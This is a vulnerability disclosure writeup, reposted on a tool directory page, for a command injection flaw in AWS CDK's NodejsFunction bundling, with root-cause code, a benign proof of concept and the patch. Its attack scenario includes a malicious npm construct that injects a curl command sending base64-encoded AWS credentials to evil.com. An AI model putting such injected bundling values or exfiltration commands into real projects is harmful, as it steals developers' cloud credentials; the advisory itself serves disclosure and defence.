Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-11417-AWS-CDK-RCE — Technical writeup and Proof of Concept (PoC) for CVE-2026-11417: OS Command Injection / Remote Code Execution (RCE) in AWS CDK's NodejsFunction. | Kitploit
Tools/GitHubGitHub/heshamash/cve-2026-11417-aws-cdk-rce
Vulnerability AnalysisCode AnalysisExploitationPenetration TestingCloud SecuritySupply Chain SecurityPapers & ResearchLearning & Education
GitHub
heshamash/cve-2026-11417-aws-cdk-rce

CVE-2026-11417-AWS-CDK-RCE

Technical writeup and Proof of Concept (PoC) for CVE-2026-11417: OS Command Injection / Remote Code Execution (RCE) in AWS CDK's NodejsFunction.

View Repository
32 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Supply Chain Command Injection in AWS CDK's NodejsFunction (CVE-2026-11417)

Author: Hesham Ashraf (@HeshamASH)

Date: June 10, 2026

Severity: High (CVSSv3.1: 7.3, CVSSv4: 7.0)

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)

Affected Package: aws-cdk-lib (npm), all versions prior to 2.245.0

Vendor: Amazon Web Services (AWS)

Status: Patched (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Bulletin: AWS-2026-041 | Advisory: GHSA-999r-qq7v-r334


TL;DR

I discovered a command injection vulnerability in the AWS Cloud Development Kit (CDK) that allowed an attacker to achieve Remote Code Execution (RCE) on any machine running cdk synth — including developer workstations and CI/CD pipelines — by publishing a malicious npm package or submitting a crafted Pull Request.

The vulnerability existed because aws-cdk-lib's NodejsFunction construct interpolated user-controlled strings directly into a shell command without sanitization, then executed it via bash -c / cmd /c. AWS patched the issue by replacing shell-based execution with direct spawnSync argument arrays.


Background

The AWS Cloud Development Kit (CDK) is a widely-used open-source framework for defining cloud infrastructure as code. It is used by tens of thousands of developers and CI/CD pipelines to synthesize and deploy AWS CloudFormation stacks.

The NodejsFunction construct is one of the most popular CDK L2 constructs. It bundles TypeScript/JavaScript Lambda functions using esbuild during the synthesis phase (cdk synth).


The Vulnerability

Root Cause

The NodejsFunction construct's local bundling path built a shell command string by directly interpolating several user-controlled properties without any sanitization:

root@kitploit:~
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  ...this.externals.map(external => `--external:${external}`),           // NO ESCAPING
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),            // NO ESCAPING
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // NO ESCAPING
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // NO ESCAPING
];

The array was then joined into a single string and passed to a shell:

root@kitploit:~
// The joined command is passed directly to the OS shell
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [osPlatform === 'win32' ? '/c' : '-c', localCommand],
  { /* ... */ }
);

Shell metacharacters like &, ;, |, `, and $(...) within any of the injectable properties would be interpreted by the shell as command separators, enabling arbitrary command execution.

Affected Properties

PropertySanitizationRisk Level
externalModulesNoneCritical
define (keys)None (values use JSON.stringify)Critical
loader (keys)NoneCritical
injectNoneCritical
esbuildArgs (keys/values)NoneCritical

Supply Chain Attack Scenario

This vulnerability is particularly dangerous because the injection occurs at the CDK synthesis layer, not during npm install. This means standard npm security measures like --ignore-scripts provide no protection.

Attack Vector: Malicious CDK Construct

An attacker publishes a legitimate-looking npm package that wraps NodejsFunction:

root@kitploit:~
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // Hidden payload among legitimate-looking externals
          'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

When a developer installs this package and runs cdk synth, the CDK constructs:

root@kitploit:~
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)

The & character splits this into two independent shell commands:

  1. npx esbuild --bundle handler.ts --external:lodash — esbuild runs normally
  2. curl https://evil.com/... — attacker's payload exfiltrates AWS credentials

Why This Bypasses Standard Defenses

DefenseEffective?Why
npm install --ignore-scriptsNoInjection happens during cdk synth, not package install
Code review of package.jsonNoThe payload is in TypeScript construct code, not scripts
npm auditNoThe package contains no known vulnerabilities
Lockfile integrityNoThe package itself is installed correctly

Proof of Concept

Step 1: Create a CDK project

root@kitploit:~
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts

Step 2: Create app.ts with injection payload

root@kitploit:~
import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';

class PoCStack extends Stack {
  constructor(scope, id) {
    super(scope, id);
    new NodejsFunction(this, 'Fn', {
      entry: path.join(__dirname, 'lambda', 'handler.ts'),
      runtime: Runtime.NODEJS_20_X,
      bundling: {
        externalModules: ['foo & echo PWNED > pwned.txt'],
      },
    });
  }
}

const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();

Step 3: Trigger

root@kitploit:~
npx ts-node app.ts

Step 4: Verify RCE

root@kitploit:~
cat pwned.txt
# Output: PWNED

The file pwned.txt is created, confirming arbitrary command execution on the host.


The Fix

PR #37292: Array-based spawnSync

The core fix replaces shell command string construction with direct spawnSync using argument arrays:

root@kitploit:~
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);

+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });

This eliminates shell metacharacter interpretation entirely. The new BundlingStep type system cleanly separates:

  • spawn steps: esbuild/tsc/install — executed via direct spawnSync with argument arrays
  • shell steps: user-provided commandHooks — intentionally shell-executed (user controls these by contract)
  • fs steps: file operations — no shell involvement

PR #37412: Windows PowerShell Escaping

On Windows with Node 22+, direct spawnSync of .cmd shims fails with EINVAL. This PR routes spawn steps through powershell.exe with powershellEscape() — a function that strictly single-quotes each argument using PowerShell's native escaping (doubling internal single quotes), then prepends the & call operator.


Lessons Learned

  1. Shell execution is a code smell. Any code path that builds a string and passes it to bash -c or cmd /c is a potential command injection vulnerability. Always prefer array-based spawnSync or execFile.

  2. Supply chain attacks bypass install-time defenses. npm audit and --ignore-scripts protect against malicious postinstall scripts, but they cannot protect against vulnerabilities in the tools that process dependencies at build time.

  3. CDK constructs are trusted code. When a developer imports a third-party CDK construct, they implicitly trust it to configure their infrastructure correctly. A malicious construct can leverage this trust to inject payloads into bundling properties that look like ordinary configuration.


Recommendations for CDK Users

  1. Update immediately to aws-cdk-lib version 2.245.0 or later

  2. Audit third-party CDK constructs for unusual bundling property values

  3. Pin CDK construct versions in your package-lock.json

  4. Review PRs that modify bundling configuration with extra scrutiny

  5. Reproduce the vulnerability using the files provided in the poc/ folder.


Discovered and reported by Hesham Ashraf (@HeshamASH). Coordinated disclosure conducted through the AWS VDP program.

Download Tool